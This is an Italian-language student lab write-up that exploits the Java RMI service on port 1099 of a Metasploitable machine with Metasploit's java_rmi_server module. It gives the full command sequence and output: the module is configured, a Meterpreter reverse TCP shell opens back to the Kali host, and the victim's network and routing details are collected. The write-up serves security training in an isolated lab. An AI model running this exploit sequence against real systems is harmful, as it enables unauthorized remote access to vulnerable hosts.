

## ESERCIZIO S7L5

Traccia: La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete ; 2) informazioni sulla tabella di routing della macchina vittima.

### SVOLGIMENTO

Sulla porta 1099 TCP della nostra Metasploitable è attivo un servizio Java-RMI, che è una tecnologia che consente a diversi processi Java di comunicare tra di loro attraverso una rete. La vulnerabilità in questione è dovuta ad una configurazione di default errata che permette ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina target.

In questo esercizio verrà sfruttata questa vulnerabilità per ottenere una sessione di Meterpreter sulla macchina target.

Inizialmente si impostano gli indirizzi IP della macchina Kali e Metasploitable rispettivamente a 192.168.11.111 e 192.168.11.112, così come richiesto dalla traccia. Per fare ciò si è andato a modificare il file interfaces al PATH /etc/network/ con il comando **<sudo nano /etc/network/interfaces>**.

Dopo aver fatto un reboot delle macchine, il comando **<ifconfig>** da entrambe le macchine dimostra l'effettivo cambio di indirizzi IP.

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:fe1e:364a prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:1e:36:4a txqueuelen 1000 (Ethernet)
    RX packets 196 bytes 27196 (26.5 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 193 bytes 133929 (130.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 4 bytes 240 (240.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4 bytes 240 (240.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```

msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:76:1a:f6
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe76:1af6/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:59 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:4298 (4.1 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:108 errors:0 dropped:0 overruns:0 frame:0
          TX packets:108 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:20941 (20.4 KB)  TX bytes:20941 (20.4 KB)

```

Settati gli indirizzi ip, come prima cosa si è dato dal terminale di Kali il comando **<msfconsole>**, che aprirà appunto la console Msfconsole, una interfaccia messa a disposizione da Metasploit. Metasploit è una piattaforma utilizzata per sviluppare, testare e utilizzare exploit su vulnerabilità conosciute in vari software e sistemi.

```

(kali@kali)-[~]
$ msfconsole
Metasploit tip: Set the current module's RHOSTS with database values using
hosts -R or services -R

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

wake up, Neo ...
the matrix has you
follow the white rabbit.

knock, knock, Neo.

https://metasploit.com

=[ metasploit v6.3.55-dev ]
+ -- ==[ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- ==[ 1391 payloads - 46 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

```

Con la keyword **<<search>>** si cerca un exploit che possa fare al caso in oggetto, viene usato quindi il comando **<search java\_rmi>** che restituisce 4 risultati: per questo esercizio si usa il secondo modulo, **exploit/multi/misc/java\_rmi\_server**. Per usare questo modulo si dà il comando **<use nome\_modulo>**, o equivalentemente, si può dare l'id del modulo come in figura sotto, dove è stato usato il comando **<use 1>**.

```

msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/gather/java_rmi_registry       normal          No      Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server       2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server   2011-10-15      normal  No      Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No      Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

```

Come si nota nell'immagine, il prompt dei comandi di MSFConsole cambia quando viene selezionato un Exploit. Questo comportamento è dovuto al fatto che Metasploit usa una gerarchia «tipo file system» per salvare i vari exploit, payload e moduli ausiliari.

Con il comando **<show options>** vengono mostrate le informazioni riguardanti il modulo exploit, in particolare si notano campi come RHOSTS ed LHOSTS che sono gli indirizzi ip rispettivamente della macchina target e della macchina attaccante. Si noti il campo RPORT che indica la porta target (TCP), che per questo esercizio è settata alla 1099 la porta su cui è attivo il servizio java RMI..

```

msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    yes             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099            yes       The target port (TCP)
  SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080            yes       The local port to listen on.
  SSL       false           no        Negotiate SSL for incoming connections
  SSLCert   no              no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   no              no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0   Generic (Java Payload)

View the full module info with the info, or info -d command.

```

Per settare questi campi vuoti e da inserire obbligatoriamente (si nota da yes nella colonna 'Required') si usa il comando **<set RHOSTS>** e **<set LHOST>**. In questo caso è bastato settare solo l'indirizzo ip della macchina attaccata.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.11.112	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```


Payload options (java/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```


Exploit target:
```

Id	Name
0	Generic (Java Payload)

Dopo aver impostato il modulo exploit e settato i campi necessari, si lancia l'attacco con il comando **<exploit>**. Se l'attacco andrà a buon fine, in base al payload che si è usato, ci si aspetta di ricevere una shell di Meterpreter, così come in figura sotto.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/ibYRcvWe
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:57987) at 2024-05-23 19:25:53 +0200

meterpreter >
```

Una volta ottenuta la sessione remota Meterpreter, per verificare che l'attacco sia andato a buon fine, si dà il comando **<sysinfo>**, che permette di recuperare delle informazioni sulla macchina exploitata, come nome, sistema operativo, architettura e lingua di sistema. Un'ulteriore conferma la dà il comando **<ifconfig>**, che mostra tutte le informazioni circa le configurazioni di rete attuali sulla macchina vittima.

```

meterpreter > sysinfo
Computer      : metasploitable
OS           : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter  : java/linux
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe76:1af6
IPv6 Netmask : ::

```

Questa prova è sufficiente a concludere che l'attacco è andato a buon fine e che è stata sfruttata correttamente la vulnerabilità «Java\_RMI code execution» per ottenere accesso alla macchina target.

Infine, con il comando **<route>** si accede alle impostazioni di routing della macchina vittima.

```

meterpreter > route

IPv4 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```

IPv6 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe76:1af6	::	::		